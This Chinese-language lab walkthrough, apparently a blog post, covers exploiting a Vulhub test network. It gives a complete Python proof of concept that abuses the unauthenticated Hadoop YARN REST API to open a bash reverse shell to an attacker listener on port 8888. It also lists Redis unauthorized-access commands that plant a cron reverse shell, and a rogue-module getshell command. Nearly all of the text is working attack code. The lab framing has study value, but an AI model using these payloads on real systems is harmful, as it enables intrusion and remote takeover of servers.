网络架构图讲解:
注:下面均为本地虚拟机ip,仅仅模拟内网环境,漏洞环境vulhub搭建
Hadoop服务器和个人PC同处与局域网,所以他们两个是通的,
个人PC和vps 是NAT模式,也是相通,Hadoop和VPS 网络不通。
Vulhub靶场下载地址
git clone https://github.com/vulhub/vulhub.git
下载docker 和 docker-compose
启动漏洞
docker-compose up -d
#1 第一步嘛 肯定信息收集一波
端口扫描
#2 发现漏洞
http://192.168.1.59:8088/ws/v1/cluster/apps/new-application
nice,good,666
#3 反弹shell
VMware 有一个端口映射,做一个外道内映射就完美解决问题
当访问宿主机8888端口 转发到VPS 8888端口
nc 开启监听
使用python 去攻击 下面为poc
import requests target = 'http://192.168.1.59:8088/' lhost = '192.168.1.42' # 攻击方的IP地址 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
成功反弹shell
使用goby扫描 发现redis未授权,这个工具非常厉害,无需安装环境,即可进行大部分漏洞复现
写反弹shell
set shell "\n* * * * * bash -i >& /dev/tcp/192.168.1.42/8888 0>&1\n" config set dir /var/spool/crontabs/ config set dbfilename root save
第二种
https://github.com/vulhub/redis-rogue-getshell
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"